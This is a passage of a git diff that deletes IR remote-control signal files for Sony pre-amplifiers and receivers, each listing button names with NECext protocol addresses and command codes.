-type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: REARS_0 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUB_-17 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUB_-19 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_0 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_1 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_-2 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_3 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_5 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SURROUND_-5 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUB_0 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUB_-10 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 -# -name: SUB_-14 -type: parsed -protocol: NECext -address: 24 00 00 00 -command: 60 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir deleted file mode 100644 index 43164eca5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 2E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir deleted file mode 100644 index 581de8f5e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/1,-1.ir deleted file mode 100644 index 74b9fc4f3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/1,-1.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 24 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 38 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: PROFILE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 64 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/11,-1.ir deleted file mode 100644 index bb5c220d2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/11,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VISUAL_I/O -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 15 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2F 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 42 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 43 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 4D 00 00 00 -# -name: ENTER/OK -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 51 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 61 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 62 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/12,-1.ir deleted file mode 100644 index c61342366..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/12,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DBFB -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 31 00 00 00 -# -name: SURROUND_BASS_BOOST -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 31 00 00 00 -# -name: BASS_BOOST -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 31 00 00 00 -# -name: SF:_ON/OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 3F 00 00 00 -# -name: SOUND_FIELD_ON/OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 3F 00 00 00 -# -name: SOUND_FIELD_TOGGLE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 3F 00 00 00 -# -name: SURROUND_ON/OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 3F 00 00 00 -# -name: REAR_LEVEL_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 42 00 00 00 -# -name: REAR_LEVEL_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 43 00 00 00 -# -name: EFFECT/DELAY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 44 00 00 00 -# -name: CURSOR_MODE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 77 00 00 00 -# -name: ARROW_OK -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 77 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 77 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 78 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 78 00 00 00 -# -name: CURSOR_DN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 79 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 79 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 79 00 00 00 -# -name: CURSOR_LF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7A 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7A 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7A 00 00 00 -# -name: BASS_(-) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7A 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7B 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7B 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7B 00 00 00 -# -name: BASS_(+) -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/121,-1.ir deleted file mode 100644 index d2260fff8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/121,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT:_VIDEO_2 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1E 00 00 00 -# -name: 2_VID_2 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 1E 00 00 00 -# -name: INPUT:_TUNER -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 21 00 00 00 -# -name: 2_TUNER -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 21 00 00 00 -# -name: INPUT:_VIDEO_1 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 22 00 00 00 -# -name: 2_VID_1 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 22 00 00 00 -# -name: INPUT:_TAPE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 23 00 00 00 -# -name: 2_TAPE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 23 00 00 00 -# -name: INPUT:_CD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 25 00 00 00 -# -name: 2_CD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 25 00 00 00 -# -name: INPUT:_VIDEO_3 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 42 00 00 00 -# -name: 2_VID_3 -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 42 00 00 00 -# -name: INPUT:_MD/DAT -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 69 00 00 00 -# -name: 2_MD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 69 00 00 00 -# -name: INPUT:_TV/SAT -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 6A 00 00 00 -# -name: 2_TV -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 6A 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7B 00 00 00 -# -name: INPUT:_SOURCE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7B 00 00 00 -# -name: 2_SOURCE -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7B 00 00 00 -# -name: 2ND_ROOM -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7B 00 00 00 -# -name: INPUT:_DVD/LD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7D 00 00 00 -# -name: 2_DVD -type: parsed -protocol: NECext -address: 79 00 00 00 -command: 7D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/13,-1.ir deleted file mode 100644 index ae08cfbba..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/13,-1.ir +++ /dev/null @@ -1,362 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 00 00 00 00 -# -name: TUNER_1 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 00 00 00 00 -# -name: RADIO_CH_1 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 01 00 00 00 -# -name: TUNER_2 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 01 00 00 00 -# -name: RADIO_CH_2 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 02 00 00 00 -# -name: TUNER_3 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 02 00 00 00 -# -name: RADIO_CH_3 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 03 00 00 00 -# -name: TUNER_4 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 03 00 00 00 -# -name: RADIO_CH_4 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 04 00 00 00 -# -name: TUNER_5 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 04 00 00 00 -# -name: RADIO_CH_5 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 05 00 00 00 -# -name: TUNER_6 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 05 00 00 00 -# -name: RADIO_CH_6 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 06 00 00 00 -# -name: TUNER_7 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 06 00 00 00 -# -name: RADIO_CH_7 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 07 00 00 00 -# -name: TUNER_8 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 07 00 00 00 -# -name: RADIO_CH_8 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 08 00 00 00 -# -name: TUNER_9 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 08 00 00 00 -# -name: RADIO_CH_9 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 09 00 00 00 -# -name: RADIO_CH_0 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 09 00 00 00 -# -name: TUNER_MEMORY -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 0E 00 00 00 -# -name: TUNER_AM/FM -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 0F 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 0F 00 00 00 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 10 00 00 00 -# -name: TUNER_PRESET -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 10 00 00 00 -# -name: CH/PRESET_+ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 10 00 00 00 -# -name: CH._PRESET_+ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 10 00 00 00 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 10 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 11 00 00 00 -# -name: CH/PRESET_- -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 11 00 00 00 -# -name: CH._PRESET_- -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 11 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 11 00 00 00 -# -name: SCAN_+ -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 12 00 00 00 -# -name: TUNER_(-) -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 13 00 00 00 -# -name: SCAN_- -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 13 00 00 00 -# -name: TUNER_PRESET_A -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 30 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 30 00 00 00 -# -name: TUNER_PRESET_B -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 31 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 31 00 00 00 -# -name: TUNER_PRESET_C -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 32 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 32 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 33 00 00 00 -# -name: TUNER_SHIFT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 33 00 00 00 -# -name: RADIO_CH_>10 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 33 00 00 00 -# -name: SHIFT/_>10 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 33 00 00 00 -# -name: SHIFT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 33 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 52 00 00 00 -# -name: DIRECT_TUNE/ENTER -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 53 00 00 00 -# -name: TUNER_DIRECT_INPUT -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 53 00 00 00 -# -name: RADIO_D.TUNNING -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 53 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/144,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/144,-1.ir deleted file mode 100644 index f6e056a45..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/144,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SND_F._CINEMA_STUDIO -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 26 00 00 00 -# -name: 2_CH_SOUND -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 41 00 00 00 -# -name: SOUND_FIELD_2CH -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 41 00 00 00 -# -name: 2_CHANNEL -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 41 00 00 00 -# -name: AFD -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 47 00 00 00 -# -name: SOUND_FIELD_A.F.D. -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 47 00 00 00 -# -name: AUTO_FORMAT_DECODE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 47 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 4A 00 00 00 -# -name: EQ/TONE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 4C 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 4C 00 00 00 -# -name: BASS_BOOST -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 4D 00 00 00 -# -name: REAR_LEVEL_+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 4E 00 00 00 -# -name: REAR_+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 4E 00 00 00 -# -name: REAR_LEVEL_- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 4F 00 00 00 -# -name: REAR_- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 4F 00 00 00 -# -name: CENTER_LEVEL_+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 54 00 00 00 -# -name: CENTER_+ -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 54 00 00 00 -# -name: CENTER_LEVEL_- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 55 00 00 00 -# -name: CENTER_- -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 55 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 6E 00 00 00 -# -name: SOUND_FIELD_MODE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 6E 00 00 00 -# -name: MENU_< -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 72 00 00 00 -# -name: MENU_> -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 73 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 74 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 75 00 00 00 -# -name: CURSOR_MODE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 77 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 77 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 78 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 79 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 7A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 7B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/15,-1.ir deleted file mode 100644 index 1d9775ff7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/15,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 01 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 02 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 03 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 04 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 07 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 09 00 00 00 -# -name: PRE_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 20 00 00 00 -# -name: PRE_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 21 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/16,-1.ir deleted file mode 100644 index 598804702..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sony/Receiver/16,-1.ir +++ /dev/null @@ -1,542 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 12 00 00 00 -# -name: MASTER_VOL_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 12 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_(+) -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 12 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: MASTER_VOL_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: VOLUME_(-) -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: VOL_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1D 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1E 00 00 00 -# -name: INPUT:_VIDEO_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1E 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: INPUT:_PHONO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: INPUT_PHONO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 20 00 00 00 -# -name: TUNER_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 21 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 21 00 00 00 -# -name: INPUT:_TUNER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 21 00 00 00 -# -name: INPUT_TUNER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 21 00 00 00 -# -name: VIDEO_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: INPUT:_VIDEO_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: VID_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: INPUT_TV -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 22 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 23 00 00 00 -# -name: INPUT:_TAPE_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 23 00 00 00 -# -name: INPUT:_TAPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 23 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 23 00 00 00 -# -name: INPUT_TAPE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 23 00 00 00 -# -name: TAPE/MD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 23 00 00 00 -# -name: CD_INPUT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: INPUT:_COMPACT_DISC -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: INPUT:_CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: INPUT:CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 25 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2F 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2F 00 00 00 -# -name: SYSTEM_OFF -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2F 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 42 00 00 00 -# -name: INPUT:_VIDEO_3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 42 00 00 00 -# -name: INPUT_FRONT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 42 00 00 00 -# -name: DAT/MD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 -# -name: INPUT:_DAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 -# -name: MD/DAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 -# -name: DAT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 -# -name: SND_F._ANALOG_DIRECT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 49 00 00 00 -# -name: ON_SCREEN_DISPLAY -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 53 00 00 